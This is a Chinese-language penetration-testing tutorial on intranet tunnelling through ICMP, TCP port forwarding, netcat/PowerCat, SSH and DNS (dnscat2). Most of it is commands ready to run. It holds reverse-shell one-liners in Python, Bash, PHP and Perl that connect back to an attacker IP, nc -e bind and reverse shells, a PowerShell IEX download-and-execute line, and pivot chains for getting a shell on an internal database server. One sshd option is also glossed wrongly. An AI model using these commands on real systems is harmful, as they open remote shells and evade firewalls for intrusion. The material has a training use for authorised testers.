內網滲透之隧道傳輸技術
一、內網-隧道傳輸
網絡隧道技術指的是利用一種網絡協議來傳輸另一種網絡協議,它主要利用網絡隧道協議來實現這種功能。網絡隧道技術涉及了三種網絡協議,即網絡隧道協議、隧道協議下面的承載協議和隧道協議所承載的被承載協議。
在安全人員人員的日常工作中,會遇到因為相關配置或設備導致的無法和目標設備通信的狀況,這時就可以嘗試使用隧道通信解決。
防火墻兩端的數據包通過防火墻所允許的數據包類型或端口進行封裝,然后穿過防火墻,與對方進行通信。當被封裝的數據包到達目的地時,將數據包還原,并將還原后的數據包發送到相應的服務器上。常見的隧道列舉如下:
- 網絡層:IPv6隧道、ICMP隧道、GRE隧道
- 傳輸層:TCP隧道、UDP隧道、常規端口轉發
- 應用層:SSH隧道、HTTP隧道、HTTS隧道、DNS隧道
網絡層傳輸技術
ICMP 隧道
ICMP(Internet Control Message Protocol)Internet控制報文協議。它是TCP/IP協議簇的一個子協議,用于在IP主機、路由器之間傳遞控制消息。
控制消息是指網絡通不通、主機是否可達、路由是否可用等網絡本身的消息。
這些控制消息雖然并不傳輸用戶數據,但是對于用戶數據的傳遞起著重要的作用。
最常見的ICMP消息為ping命令的回復,只要可以ping通,就可以嘗試建立ICMP隧道,將數據包封裝在ICMP里面
常用的ICMP隧道工具有icmpsh、PingTunel、icmptunel、powershell icmp等
PingTunel
PingTunel 是一款跨平臺的工具,下載地址為
http://freshmeat.sourceforge.net/projects/ptunnel/
下載后需要編譯,我在ubuntu 和 centos 下遇到同樣的坑,解決方案如下:
先安裝下面的依賴環境
wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz tar zxfv libpcap-1.9.0.tar.gz cd libpcap-1.9.0/ yum install flex bison ./configure make && make install
ptunnel 基礎指令如下
ptunnel -×指定icmp隧道連接驗證密碼 -lp指定要監聽的本地tcp端口 -da指定要轉發到的機器的ip地址 -dp指定要轉發到的機器的tcp端口 -p指定icmp隧道另一端機器的ip地址

場景:
vps 192.168.206.128
邊界服務器 192.168.206.129
內網服務器 win2k8 192.168.206.131
step1:在邊界服務器上執行ptunnel -x 密碼,如ptunnel -x test123
steo2:在vps 上執行
ptunnel -p 邊界服務器ip -lp 端口1 -da 內網服務器ip -dp 端口2 -x 密碼,如 ptunnel -p 192.168.206.129 -lp 1234 -da 192.168.206.131 -dp 3389 -x test123
step3:通過訪問192.168.206.129:1234就可以訪問192.168.206.131:3389
二、傳輸層隧道傳輸
lcxd端口轉發
lcx是一個基于socket套接字實現的端口轉發工具,有Windows和Linux兩個版本,Windows版本為lcx.exe,Linux版本為portmap。
一個正常的socket隧道必須具備兩端:一端為服務端,監聽一個端口,等待客戶端的連接;
另一端為客戶端,通過傳入服務端的IP地址和端口,才能主動與服務器連接
使用方法
- 內網端口轉發
- 將本機3389端口轉發出去
lcx.exe -slave VPSip 4444 127.0.0.1 3389- 將VPS
4444端口數據轉發到5555 lcx.exe -listen 4444 5555- 本地端口映射
lcx -tran 53 127.0.0.1 3389
nc和powercat
netcat簡稱nc,也稱作瑞士軍刀,主要的功能是從網絡的一端讀取數據,輸入到網絡的另一端(可以使用TCP和UDP協議),mac和linux 可以使用,雖然也有windows版本的,但是windows版本有bug不好用,windows 上可以使用PowerCat;
PowerCat可以說是nc的PowerShell版本。PowerCat可以通過執行命令回到本地運行,也可以使用遠程權限運行。
nc
nc功能很強,在Linux的大部分發行版中都默認編譯了nc,但在滲透測試過程中通常會用到-e選項,
也許是出于安全考慮,發行版中默認編譯的nc往往沒有-e選項(沒有define一個GAPING_SECURITY_HOLE常量)
也就是說我們不能通過-e選項綁定目標的shell,使得我們在利用上受到限制
這種時候可以使用后面的其它方法,或者自己編譯一個。
操作如下:
step1:下載nc源碼
wget https://udomain.dl.sourceforge.net/project/netcat/netcat/0.7.1/netcat-0.7.1.tar.gz
step2:解壓源碼tar zxvf netcat-0.7.1.tar.gz
step3:編譯
./configure make

使用方法
目標為ubuntu,vps為centos
開啟監聽
nc -lvp 4444
Python反向shell
目標主機執行:
python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.2.181”,4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’
Bash反向shell
目標主機執行:bash -i >& /dev/tcp/192.168.2.181/4444 0>&1
PHP反向shell
目標主機執行:
php -r ‘$sock=fsockopen(“192.168.2.181”,4444);exec(“/bin/sh -i <&3 >&3 2>&3”);’
Perl反向Shell
目標機器執行
:perl -e ‘use Socket;$i=”192.168.2.181”;$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};’
內網代理
vps監聽:nc -lvp 3333數據庫服務器執行:nv -lvp 3333 -e /bin/sh在Web服務器(邊界服務器)執行:nc -v 192.168.2.181 3333 -c “nc -v 數據庫內網ip 3333”這樣可以用vps獲取內網數據庫主機的shell。
正向shell
nc -lvp 1234 -e /bin/sh 目標機器
nc 目標ip 4444 vps

反向shell
執行:nc -lvp 4444 vpsnc vpsip 4444 -e /bin/sh 目標機器
powercat
powercat 加載方式有兩種,一種是下載后加載
powercat 下載鏈接:https://github.com/besimorhino/powercat
使用. .\powercat.ps1加載,另一種是遠程導入IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1')
使用方法
場景
vps centos 192.168.206.129
邊界服務器 w2k8 192.168.206.131
內部服務器 win7 11.11.1.12
通過nc正向連接Powercat
靶機執行:powercat -lvp 1234 -e cmd.exe
vps執行: nc w2k8的ip 1234 -vv

通過nc反向連接powercat
vps執行下列命令:
nc -lvp 1234
靶機執行:powercat -c vps的ip192.168.206.129 -p 1234 -v -e cmd.exe

將Powercat作為跳板
當邊界服務器為windows 時,可將其作為跳板
將w2k8作為跳板,讓vps連接win7。
step1:在win7中執行:
powercat -lv -p 1111 -e cmd.exe
step2:在w2k8中執行:
powercat -lvp 2222 -r tcp:win7的ip:1111
step3:讓vps和邊界服務器進行連接
在vps輸入:
nc 邊界服務器ip 2222 -vv
三、應用層隧道傳輸
應用層隧道傳輸主要用的是軟件提供的端口發數據。
ssh 協議
ssh 應該是設備支持最多的協議,內網基本所有設備都會支持ssh協議(從路由器到電腦),而且ssh 是加密的,可以用來穿透防火墻等限制
隧道傳輸中 ssh 常用的指令和sshd配置
-C 壓縮傳輸 -f 將SSH傳輸轉入后臺執行 -N 建立靜默連接 -g 允許遠程主機連接本地用于轉發的端口 -L 本地端口轉發 -R 遠程端口轉發 -D 動態轉發(socks 代理) -P 指定ssh端口
注意:sshd_config要修改如下,如果在目標上修改,注意授權!!!*注意授權!!!**注意授權!!!**注意授權!!!*
AllowAgentForwarding yes 允許轉發 AllowTcpForwarding yes 是否允許TCP轉發 GatewayPorts yes 指令可以讓 sshd 將遠程端口轉發綁定到非loopback地址,允許遠程主機連接 TCPKeepAlive yes 保持心跳,防止 ssh 斷開 PasswordAuthentication yes 是否使用Kerberos認證
使用方法
場景:
vps 192.168.206.128
邊界服務器 192.168.206.129
內網服務器 win2k8 192.168.131
遠程轉發
在邊界服務器執行ssh -CfNg -R vps端口:內網服務器ip:內網服務器端口 root@vpsip
如:ssh -CfNg -R 12345:192.168.131:3389 root@192.168.206.128
本地轉發
在自己的vps 執行 ssh -CfNg -L 本地端口:內網服務器ip:內網服務器端口 root@邊界服務器ip
如:ssh -CfNg -L 6668:192.168.206.131:3389 root@192.168.206.128

動態轉發
利用 ssh 隧道的正向 socks 代理把目標的整個內網代出來,任何支持socks 4/5協議的程序都可以使用這個加密通道進行代理訪問
在自己的vps 執行 ssh -D 12345 root@邊界服務器ip
dns 協議
DNS協議是一種請求/應答協議,DNS隧道傳輸的實質就是將其他協議封裝在DNS查詢響應數據包里面,進行通信,比較隱蔽,可繞過防火墻的攔截。
DNS隧道的工作原理很簡單:在進行DNS查詢時,如果查詢的域名不在DNS服務器本機的緩存中,就會訪問互聯網進行查詢,然后返回結果
如果互聯網上有一臺定制的服務器,那么依靠DNS協議就可以進行數據包的交換,從DNS協議的角度來看
這樣的操作只是一次次地查詢某個特定的域名并且得到解析結果,但其本質的問題是,預期的返回結果應該是一個IP地址,而事實上不是——返回的可以是任意字符串,包括加密的C&C指令。
dnscat2
使用方法
step1:部署域名,配置 A記錄和 NS記錄
step2:部署 dnscat2 服務端
安裝依賴環境(各種坑) sudo apt install ruby-bundler ruby-dev gem sudo gem install salsa20 -v '0.1.1' --source 'https://rubygems.org' 下載安裝dnscat2 git clone //github.com/iagox86/dnscat2.git cd dnscat2/server sudo bundle install

step3:部署客戶端
dnscat2 客戶端用c寫的,所以在linux 端用的時候要編譯
cd dnscat2/client/ make

對于Windows端,可以使用編譯后的版本或者ps版本
下載地址分別為:https://downloads.skullsecurity.org/dnscat2/和https://github.com/lukebaggett/dnscat2-powershell。
step3:使用操作
服務端操作
dns隧道的使用模式有兩種:
直連模式:客戶端直接指向ip地址的dns服務器發起dns解析請求。
sudo ruby ./dnscat2.rb --dns -server=127.0.0.1,port=533,type=TXT -c 密碼
中繼模式:DNS 經過互聯網的迭代解析,指向指定的DNS 服務器。
sudo ruby ./dnscat2.rb 自己的域名 -e open -c 自己設置的密碼 --no-cache
客戶端操作:
dnscat2.exe --dns domain=自己的域名 -c 密碼